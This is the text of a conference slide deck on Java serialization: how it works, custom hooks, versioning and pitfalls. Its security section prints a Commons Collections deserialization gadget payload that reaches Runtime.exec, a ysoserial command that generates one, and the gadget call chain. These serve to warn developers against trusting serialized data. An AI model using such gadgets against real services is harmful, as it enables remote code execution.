Upload
martijn-dashorst
View
954
Download
1
Embed Size (px)
Citation preview
org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp.
Java Serialization Deep DiveMartijn Dashorst topicus
Agenda
1. What is (Java) Serialization?
2. How does Java Serialization work?
3. Common Pitfalls of Serialization
4. Summary
MartijnDashorst
topicus
Primary Education
Student Information System
5k schools in NL
1M students
15k concurrent users
ParnasSys
Java+HTML
Server-side
Component Oriented
Web Framework for Applications
Stateful
Built with Apache Wicket
What is Java Serialization?
part 1
serialization | sɪərɪəlʌɪˈzeɪʃ(ə)n | noun
AC ED 00 05 73 72 00 1B 64 65 65 70 64 69 76 65
serialization deserialization
java objects
java objects
Storage of objects
Copying data
Caching of data
HTTP sessions
Transmitting data/objects across network
Why Serialization?
Default Java Serialization
Custom Java Serialization
Versioning
Serialization in a nutshellpart 2
How Does Java Serialization Work?
part 2
Security
Java Serialization in a nutshell
class Foo implements Serializable {}
Java Serialization in a nutshell
class Foo implements Serializable {}
Foo foo = new Foo();
Java Serialization in a nutshell
class Foo implements Serializable {}
Foo foo = new Foo();
FileOutputStream fos = new FileOutputStream("foo.ser");
Java Serialization in a nutshell
class Foo implements Serializable {}
Foo foo = new Foo();
FileOutputStream fos = new FileOutputStream("foo.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);
Java Serialization in a nutshell
class Foo implements Serializable {}
Foo foo = new Foo();
FileOutputStream fos = new FileOutputStream("foo.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.write(foo);
Java Serialization in a nutshell
Written: 24 bytes 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 1 AC ED 00 05 73 72 00 03 46 6F 6F 00 00 00 00 00 | ····sr··Foo····· | 2 00 00 01 02 00 00 78 70 | ······xp |
Java Serialization in a nutshell
class Foo implements Serializable {}
FileInputStream fis = new FileInputStream("foo.ser");
Java Serialization in a nutshell
class Foo implements Serializable {}
FileInputStream fis = new FileInputStream("foo.ser");ObjectInputStream ois = new ObjectInputStream(fis);
Java Serialization in a nutshell
class Foo implements Serializable {}
FileInputStream fis = new FileInputStream("foo.ser");ObjectInputStream ois = new ObjectInputStream(fis);Object object = ois.readObject();
Java Serialization in a nutshell
class Foo implements Serializable {}
FileInputStream fis = new FileInputStream("foo.ser");ObjectInputStream ois = new ObjectInputStream(fis);Foo foo = (Foo) ois.readObject();
Default Java Serialization
Custom Java Serialization
Versioning
Serialization in a nutshellpart 2
How Does Java Serialization Work?
part 2
Security
Rules of Default Serialization
1. Implement java.io.Serializable
2. Identify (non-)serializable fields
3. Have access to no-args constructor of first non-serializable superclass
class Foo implements Serializable { private int count; private String name; private Thread thread;}
class Foo implements Serializable { int f;}
class Bar extends Foo { int b;}
Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;
ObjectOutputStream oos = new ...oos.write(bar1);
ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();
Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456
class Foo implements Serializable { int f;}
class Bar extends Foo { int b;}
Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456
Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;
ObjectOutputStream oos = new ...oos.write(bar1);
ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();
class Foo { int f;}
class Bar extends Foo implements Serializable { int b;}
Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;
ObjectOutputStream oos = new ...oos.write(bar1);
ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();
Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456
class Foo { int f;}
class Bar extends Foo implements Serializable { int b;}
Which are true? bar2.f == 0 bar2.f == 123 bar2.b == 0 bar2.b == 456
Bar bar1 = new Bar();bar1.f = 123;bar1.b = 456;
ObjectOutputStream oos = new ...oos.write(bar1);
ObjectInputStream ois = new ...Bar bar2 = (Bar) ois.readObject();
Rules of Default Serialization
1. Implement java.io.Serializable
2. Identify (non-)serializable fields
3. Have access to no-args constructor of first non-serializable superclass
class Foo implements Serializable { private int count; private String name; private Thread thread;}
2. Identify (non-)serializable fields
• primitive fields
• String, Float, Double, ...
• anything implementing Serializable or Externalizable
• static fields
• fields of enum types
• local (physical) resources connections, threads, file handles
Serializable Not Serializable
2. Identify (non-)serializable fields
class Foo implements Serializable { private int count; private String name; private transient Thread thread;}
Use transient keyword to mark fields not-serializable
2. Identify (non-)serializable fields
class Foo implements Serializable { private transient int count = 1234; private String name; private transient Thread thread;}
ObjectInputStream ois = ...Foo foo = (Foo) ois.readObject();
assert foo.thread == null;assert foo.count == 0;
Use transient keyword to mark fields non-serializable
Upon de-serialization non-serializable fields are given a default value: 0, false, null
2. Identify (non-)serializable fields
class UsingSerialPersistentFields implements Serializable { private int f = 123; private int g = 456;
private static final ObjectStreamField[] serialPersistentFields = { new ObjectStreamField( "f", Integer.TYPE) };}
Use serialPersistentFields to mark fields that are to be serialized
Overrides transient keyword
Must be private static final
Rules of Default Serialization
1. Implement java.io.Serializable
2. Identify (non-)serializable fields
3. Have access to no-args constructor of first non-serializable superclass
class Foo { Foo() { }}
class Bar extends Foo implements Serializable {}
👍
Rules of Default Serialization
1. Implement java.io.Serializable
2. Identify (non-)serializable fields
3. Have access to no-args constructor of first non-serializable superclass
class Foo { Foo(int f) { }}
class Bar extends Foo implements Serializable {}
🚫
3. Have access to no-args constructor of first non-serializable super classclass Bar1 {Bar1(int b) { }
}
class Bar2 extends Bar1 implements Serializable {
Bar2() {super(1);
}}
Which are true? Serialization of bar2 succeeds Serialization of bar2 fails with NotSerializableException Deserialization of b2 succeeds Deserialization of b2 fails with InvalidClassException
Bar2 bar2 = new Bar2();oos.writeObject(bar2);
Bar2 b2 = (Bar2) ois.readObject();
3. Have access to no-args constructor of first non-serializable super classclass Bar1 {Bar1(int b) { }
}
class Bar2 extends Bar1 implements Serializable {
Bar2() {super(1);
}}
Which are true? Serialization of bar2 succeeds Serialization of bar2 fails with NotSerializableException Deserialization of b2 succeeds Deserialization of b2 fails with InvalidClassException
Bar2 bar2 = new Bar2();oos.writeObject(bar2);
Bar2 b2 = (Bar2) ois.readObject();
Steps of Default Serialization
class Foo implements Serializable {}
ObjectOutputStream::writeObject(Object o)
Steps of Default Serialization
1. Object replacement = o.writeReplace(); class Foo implements Serializable { private Object writeReplace() { return this; }}
ObjectOutputStream::writeObject(Object o)
Steps of Default Serialization
1. Object replacement = o.writeReplace();
2. replacement.writeObject(oos);
class Foo implements Serializable { private Object writeReplace() { return this; }
private void writeObject( ObjectOutputStream out) { out.writeDefault(); }}
ObjectOutputStream::writeObject(Object o)
Steps of Default Deserialization
class Foo implements Serializable {}
ObjectInputStream::readObject()
Steps of Default Deserialization
1. Object read = «newFoo»; class Foo implements Serializable {}
ObjectInputStream::readObject()
Steps of Default Deserialization
1. Object read = «newFoo»;
2. read.readObject()
class Foo implements Serializable { private void readObject( ObjectInputStream in) { in.defaultReadObject(); }}
ObjectInputStream::readObject()
Steps of Default Deserialization
1. Object read = «newFoo»;
2. read.readObject()
3. result = read.readResolve()
class Foo implements Serializable { private void readObject(...) { }
private Object readResolve() { return this; }}
ObjectInputStream::readObject()
Steps of Default Deserialization
1. Object read = «newFoo»;
2. read.readObject()
3. result = read.readResolve()
4. result.validateObject()
class Foo implements Serializable, ObjectInputValidation { private void readObject(...) {} private Object readResolve() {}
private void validateObject() { }}
ObjectInputStream::readObject()
Steps of Default Deserialization
1. Object read = «newFoo»;
2. read.readObject()
3. result = read.readResolve()
4. result.validateObject()
5. return result
class Foo implements Serializable { private void readObject(...) {} private Object readResolve() {} private void validateObject() {}}
ObjectInputStream::readObject()
Default Java Serialization
Custom Java Serialization
Versioning
Serialization in a nutshellpart 2
How Does Java Serialization Work?
part 2
Security
Using writeReplace for Placeholders
class NotActuallySerializable implements Serializable { private Object writeReplace() { return new Placeholder(someValue); } public static NotActuallySerializable of(String value) { return ...; }}
class Placeholder implements Serializable { private String value; private Object readResolve() { return NotActuallySerializable.of(value); }}
Using readResolve for Singletons
final class Serialization { public static final Serialization YAY = new JavaEE("Yay"); public static final Serialization NAY = new JavaEE("Nay");
private final String value;
private Serialization(String v) { this.value = v; } private Object readResolve() { if(value.equals("Yay")) return YAY; else return NAY; }}
class Foo implements Serializable { static final Foo foo = new Foo();
private Object writeReplace() { return "Hello!"; } private Object readResolve() { return foo; }}
oos.writeObject(Foo.foo);Foo f1 = (Foo) ois.readObject();
readResolve/writeReplace
Which is true? f1.equals("Hello!") f1 == Foo.foo f1 != Foo.foo Exception is thrown
class Foo implements Serializable { static final Foo foo = new Foo();
private Object writeReplace() { return "Hello!"; } private Object readResolve() { return foo; }}
oos.writeObject(Foo.foo);Foo f1 = (Foo) ois.readObject();
readResolve/writeReplace
Which is true? f1.equals("Hello!") f1 == Foo.foo f1 != Foo.foo Exception is thrown
class Foo implements Serializable { private Object readResolve() { return "Hello!"; }}class Bar extends Foo {}
oos.writeObject(new Bar());Object o = ois.readObject();
readResolve/writeReplace
Which are true? o.equals("Hello!") o instanceof String o instanceof Bar Exception is thrown
class Foo implements Serializable { private Object readResolve() { return "Hello!"; }}class Bar extends Foo {}
oos.writeObject(new Bar());Object o = ois.readObject();
readResolve/writeReplace
Which are true? o.equals("Hello!") o instanceof String o instanceof Bar Exception is thrown
class CustomValues implements Serializable { private void writeObject(ObjectOutputStream oos) throws IOException {
oos.defaultWriteObject();
// write custom data }
writeObject
class CustomValues implements Serializable { private void writeObject(ObjectOutputStream oos) throws IOException {
oos.defaultWriteObject();
// write custom data }
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException {
ois.defaultReadObject();
// read custom data // initialize transient fields }}
readObject
writeObject
Externalizablepublic interface Externalizable extends Serializable { void writeExternal(ObjectOutput out) throws IOException; void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;}
Must implement java.io.Externalizable
Must have public no-args constructor
Implement both writeExternal() and readExternal()
ObjectInputValidationpublic interface ObjectInputValidation { public void validateObject() throws InvalidObjectException;}
Allows the complete deserialized object graph to be validated before returning
Should register with ObjectInputStream (in readObject):
ois.registerValidation(this, 0);
Performed after readResolve()
Default Java Serialization
Custom Java Serialization
Versioning
Serialization in a nutshellpart 2
How Does Java Serialization Work?
part 2
Security
class Foobar implements Serializable { private static final long serialVersionUID = 1L;}
It is strongly recommended that all serializable classes explicitly declare serialVersionUID values, since the default serialVersionUID computation is highly sensitive to class details that may vary depending on compiler implementations, and can thus result in unexpected serialVersionUID conflicts during deserialization, causing deserialization to fail.
Always provide serialVersionUID
It is strongly recommended that all serializable classes explicitly declare serialVersionUID values, since the default serialVersionUID computation is highly sensitive to class details that may vary depending on compiler implementations, and can thus result in unexpected serialVersionUID conflicts during deserialization, causing deserialization to fail.
Always provide serialVersionUID
class Foobar implements Serializable { private static final long serialVersionUID = 1L;}
required!!!
Deleting fields
Can't go from Serializable → Externalizable
Move classes up/down hierarchy
Serializable field → Non-serializable field (static/transient)
primitive field type change
Class → Enum or Enum → Class
Remove Serializable/Externalizable
Adding fields
Adding classes
Removing classes
Adding write/readObject
Adding Serializable
Changing access modifiers for fields
Non-Serializable field → serializable field
Incompatible changes Compatible changes
Change serialVersionUID Don't Change serialVersionUID
Default Java Serialization
Custom Java Serialization
Versioning
Serialization in a nutshellpart 2
How Does Java Serialization Work?
part 2
Security
0000160: 6d65 723b 7870 7372 003a 6f72 672e 6170 mer;xpsr.:org.ap 0000170: 6163 6865 2e63 6f6d 6d6f 6e73 2e63 6f6c ache.commons.col 0000180: 6c65 6374 696f 6e73 2e66 756e 6374 6f72 lections.functor 0000190: 732e 4368 6169 6e65 6454 7261 6e73 666f s.ChainedTransfo 00001a0: 726d 6572 30c7 97ec 287a 9704 0200 015b rmer0...(z.....[ 00001b0: 000d 6954 7261 6e73 666f 726d 6572 7374 ..iTransformerst 00001c0: 002d 5b4c 6f72 672f 6170 6163 6865 2f63 .-[Lorg/apache/c 00001d0: 6f6d 6d6f 6e73 2f63 6f6c 6c65 6374 696f ommons/collectio 00001e0: 6e73 2f54 7261 6e73 666f 726d 6572 3b78 ns/Transformer;x 00001f0: 7075 7200 2d5b 4c6f 7267 2e61 7061 6368 pur.-[Lorg.apach 0000200: 652e 636f 6d6d 6f6e 732e 636f 6c6c 6563 e.commons.collec 0000210: 7469 6f6e 732e 5472 616e 7366 6f72 6d65 tions.Transforme 0000220: 723b bd56 2af1 d834 1899 0200 0078 7000 r;.V*..4.....xp. 0000230: 0000 0573 7200 3b6f 7267 2e61 7061 6368 ...sr.;org.apach 0000240: 652e 636f 6d6d 6f6e 732e 636f 6c6c 6563 e.commons.collec 0000250: 7469 6f6e 732e 6675 6e63 746f 7273 2e43 tions.functors.C 0000260: 6f6e 7374 616e 7454 7261 6e73 666f 726d onstantTransform 0000270: 6572 5876 9011 4102 b194 0200 014c 0009 erXv..A......L.. 0000280: 6943 6f6e 7374 616e 7474 0012 4c6a 6176 iConstantt..Ljav 0000290: 612f 6c61 6e67 2f4f 626a 6563 743b 7870 a/lang/Object;xp 00002a0: 7672 0011 6a61 7661 2e6c 616e 672e 5275 vr..java.lang.Ru 00002b0: 6e74 696d 6500 0000 0000 0000 0000 0000 ntime........... 00002c0: 7870 7372 003a 6f72 672e 6170 6163 6865 xpsr.:org.apache 00002d0: 2e63 6f6d 6d6f 6e73 2e63 6f6c 6c65 6374 .commons.collect 00002e0: 696f 6e73 2e66 756e 6374 6f72 732e 496e ions.functors.In 00002f0: 766f 6b65 7254 7261 6e73 666f 726d 6572 vokerTransformer 0000300: 87e8 ff6b 7b7c ce38 0200 035b 0005 6941 ...k{|.8...[..iA 0000310: 7267 7374 0013 5b4c 6a61 7661 2f6c 616e rgst..[Ljava/lan
Serialized data is readable
org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F..loadFactorI..thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~
Don't trust serialized data
public class Main { public static void main(String[] args) throws Exception { File file = new File(args[0]); try ( FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis);) { while (ois.available() >= 0) ois.readObject(); } }}
$ java -jar ysoserial.jar CommonsCollections1 "Calc.exe" > gadget.ser
public class Main { public static void main(String[] args) throws Exception { File file = new File("gadget.ser") try ( FileInputStream fis = new FileInputStream(file); ObjectInputStream ois = new ObjectInputStream(fis);) { while (ois.available() >= 0) ois.readObject(); } }}
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version></dependency>
java Main gadget.ser
deserialization gadget chain
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()
InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()
InvokerTransformer.transform()Method.invoke()Runtime.exec()
org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F..loadFactorI..thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~
Y so seriAL
org.apache.commons.collections.functors.ChainedTransformer0...(z.....[..iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.org.apache.commons.collections.functors.ChainedTransformer0...iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t..getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..ur..[Ljava.lang.String;..V...{G...xp....t."System.out.println(\n\n\n\nHello);t..execuq.~......q.~.#sq.~..sr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp....sr..java.util.HashMap......`....F..loadFactorI..thresholdxp?@......w.........xxvr..java.lang.Override...........xpq.~
Don't trust serialized data
Y so seriAL
https://github.com/frohoff/ysoserial
Inner/nested classes
CDI/Spring/Singletonspart 2
Common Pitfalls of Java Serialization
part 3
ApplicationScoped Spring beans
Singletons Services
@ApplicationScopedclass FooService { void foo() {}}
class Bar implements Serializable { @Inject private FooService fooService;
void doSomething() { fooService.foo(); }}
ApplicationScoped Spring beans
Singletons Services
@ApplicationScopedclass FooService { void foo() {}}
class Bar implements Serializable { @Inject private FooService fooService;
void doSomething() { fooService.foo(); }}
• Serializes too much (possibly whole service layer)
• Deserializes to non-managed services
• Deserialization gives multiple instances of one service
ApplicationScoped Spring beans
Singletons Services
@ApplicationScopedclass FooService { void foo() {}}
class Bar implements Serializable { @Inject private FooService fooService;
void doSomething() { fooService.foo(); }}
• Use a serializable proxy that looks up service (CDI)
• Use readResolve/writeReplace for custom serialization/deserialization
• CDI @Singleton injection *doesn't* inject a serializable proxy, but the instance directly
Inner/nested classes
CDI/Spring/Singletonspart 2
Common Pitfalls of Java Serialization
part 3
Inner/Nested classes
class FooService { class Bar implements Serializable {}
public Bar getBar() { return new Bar(); }}
ObjectOutputStream oos = ...;FooService service = ...;
Bar bar = service.getBar();oos.writeObject(bar);
Which is true?
gives compilation error at one of last two lines
bar gets serialized
Exception is thrown
Inner/Nested classes
class FooService { class Bar implements Serializable {}
public Bar getBar() { return new Bar(); }}
ObjectOutputStream oos = ...;FooService service = ...;
Bar bar = service.getBar();oos.writeObject(bar);
Which is true?
gives compilation error at one of last two lines
bar gets serialized
Exception is thrown
Inner/Nested classes
class FooService { class Bar implements Serializable {}
public Bar getBar() { return new Bar(); }}
ObjectOutputStream oos = ...;FooService service = ...;
Bar bar = service.getBar();oos.writeObject(bar);
Not serializable
requires a Foo instance
Agenda
1. What is (Java) Serialization?
2. How does Java Serialization work?
3. Common Pitfalls of Serialization
4. Summary
Summary
• Versatile
• Flexible
• Complete
• Complex
Java serialization is
• InsecureJava deserialization is
performance considerations
java
XML/JAXB
source, 27-10-2016: https://github.com/eishay/jvm-serializers/wiki
size considerations
java
XML/JAXB
source, 27-10-2016: https://github.com/eishay/jvm-serializers/wiki